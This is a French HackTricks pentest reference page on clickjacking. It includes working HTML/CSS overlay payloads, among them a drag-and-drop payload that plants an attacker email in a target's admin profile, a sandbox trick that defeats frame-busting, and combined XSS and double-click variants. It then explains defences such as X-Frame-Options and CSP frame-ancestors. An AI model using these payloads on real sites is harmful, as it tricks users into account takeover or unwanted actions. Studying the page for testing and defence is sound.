Clickjacking

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Qu'est-ce que le Clickjacking

Dans une attaque de clickjacking, un utilisateur est trompé en cliquant sur un élément d'une page web qui est soit invisible, soit déguisé en un autre élément. Cette manipulation peut entraßner des conséquences non désirées pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.

Astuce de préremplissage de formulaires

Il est parfois possible de remplir la valeur des champs d'un formulaire en utilisant des paramÚtres GET lors du chargement d'une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.

Remplir le formulaire avec Drag&Drop

Si vous avez besoin que l'utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrÎlées comme dans cet exemple.

Payload de base

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Charge utile en plusieurs Ă©tapes

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si vous avez identifié une attaque XSS qui nécessite qu'un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au clickjacking, vous pourriez en abuser pour tromper l'utilisateur en lui faisant cliquer sur le bouton/lien.
Exemple :
Vous avez trouvé un self XSS dans certains détails privés du compte (détails que vous seul pouvez définir et lire). La page avec le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les paramÚtres GET.
Un attaquant pourrait préparer une attaque de Clickjacking sur cette page en préremplissant le formulaire avec la charge utile XSS et en trompant l'utilisateur pour qu'il soumette le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l'utilisateur exécutera le XSS.

DoubleClickjacking

D'abord expliqué dans ce post, cette technique demanderait à la victime de double cliquer sur un bouton d'une page personnalisée placée à un endroit spécifique, et d'utiliser les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double clic afin que la victime clique réellement sur un bouton légitime dans la page de la victime.

Un exemple peut ĂȘtre vu dans cette vidĂ©o : https://www.youtube.com/watch?v=4rGvRRMrD18

Un exemple de code peut ĂȘtre trouvĂ© sur cette page.

warning

Cette technique permet de tromper l'utilisateur pour qu'il clique sur 1 endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. Ainsi, l'attaquant doit trouver des actions sensibles qui peuvent ĂȘtre effectuĂ©es avec juste 1 clic, comme les invites OAuth acceptant des permissions.

Stratégies pour atténuer le Clickjacking

Défenses cÎté client

Les scripts exécutés cÎté client peuvent effectuer des actions pour prévenir le Clickjacking :

  • S'assurer que la fenĂȘtre de l'application est la fenĂȘtre principale ou supĂ©rieure.
  • Rendre tous les cadres visibles.
  • EmpĂȘcher les clics sur des cadres invisibles.
  • DĂ©tecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking.

Cependant, ces scripts de contournement de cadre peuvent ĂȘtre contournĂ©s :

  • ParamĂštres de sĂ©curitĂ© des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramĂštres de sĂ©curitĂ© ou du manque de support JavaScript.
  • Attribut sandbox de l'iframe HTML5 : Un attaquant peut neutraliser les scripts de contournement de cadre en dĂ©finissant l'attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empĂȘche l'iframe de vĂ©rifier si elle est la fenĂȘtre supĂ©rieure, par exemple,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Les valeurs allow-forms et allow-scripts permettent des actions au sein de l'iframe tout en dĂ©sactivant la navigation de niveau supĂ©rieur. Pour garantir la fonctionnalitĂ© prĂ©vue du site ciblĂ©, des autorisations supplĂ©mentaires comme allow-same-origin et allow-modals peuvent ĂȘtre nĂ©cessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider les autorisations Ă  accorder.

Défenses cÎté serveur

X-Frame-Options

L'en-tĂȘte de rĂ©ponse HTTP X-Frame-Options informe les navigateurs sur la lĂ©gitimitĂ© de l'affichage d'une page dans un <frame> ou <iframe>, aidant Ă  prĂ©venir le Clickjacking :

  • X-Frame-Options: deny - Aucun domaine ne peut encadrer le contenu.
  • X-Frame-Options: sameorigin - Seul le site actuel peut encadrer le contenu.
  • X-Frame-Options: allow-from https://trusted.com - Seule l'URI spĂ©cifiĂ©e peut encadrer la page.
  • Notez les limitations : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs prĂ©fĂšrent la directive CSP frame-ancestors.

Directive frame-ancestors de la politique de sécurité du contenu (CSP)

La directive frame-ancestors dans CSP est la méthode conseillée pour la protection contre le Clickjacking :

  • frame-ancestors 'none' - Semblable Ă  X-Frame-Options: deny.
  • frame-ancestors 'self' - Semblable Ă  X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Semblable Ă  X-Frame-Options: allow-from.

Par exemple, la CSP suivante n'autorise l'encadrement que depuis le mĂȘme domaine :

Content-Security-Policy: frame-ancestors 'self';

Des dĂ©tails supplĂ©mentaires et des exemples complexes peuvent ĂȘtre trouvĂ©s dans la documentation frame-ancestors CSP et la documentation frame-ancestors de Mozilla.

Politique de sécurité du contenu (CSP) avec child-src et frame-src

La politique de sécurité du contenu (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.

Directive frame-src

  • DĂ©finit les sources valides pour les frames.
  • Plus spĂ©cifique que la directive default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Cette politique permet des cadres de la mĂȘme origine (soi) et https://trusted-website.com.

Directive child-src

  • Introduite dans le niveau 2 de CSP pour dĂ©finir des sources valides pour les travailleurs web et les cadres.
  • Agit comme une solution de secours pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Cette politique permet des cadres et des travailleurs de la mĂȘme origine (soi) et https://trusted-website.com.

Notes d'utilisation :

  • DĂ©prĂ©ciation : child-src est en cours de suppression au profit de frame-src et worker-src.
  • Comportement de secours : Si frame-src est absent, child-src est utilisĂ© comme secours pour les cadres. Si les deux sont absents, default-src est utilisĂ©.
  • DĂ©finition stricte des sources : Inclure uniquement des sources de confiance dans les directives pour prĂ©venir l'exploitation.

Scripts JavaScript de rupture de cadre

Bien que pas complĂštement infaillibles, des scripts de rupture de cadre basĂ©s sur JavaScript peuvent ĂȘtre utilisĂ©s pour empĂȘcher qu'une page web soit encadrĂ©e. Exemple :

javascript
if (top !== self) {
top.location = self.location
}

Utilisation des jetons Anti-CSRF

  • Validation des jetons : Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requĂȘtes modifiant l'Ă©tat sont effectuĂ©es intentionnellement par l'utilisateur et non via une page Clickjacked.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks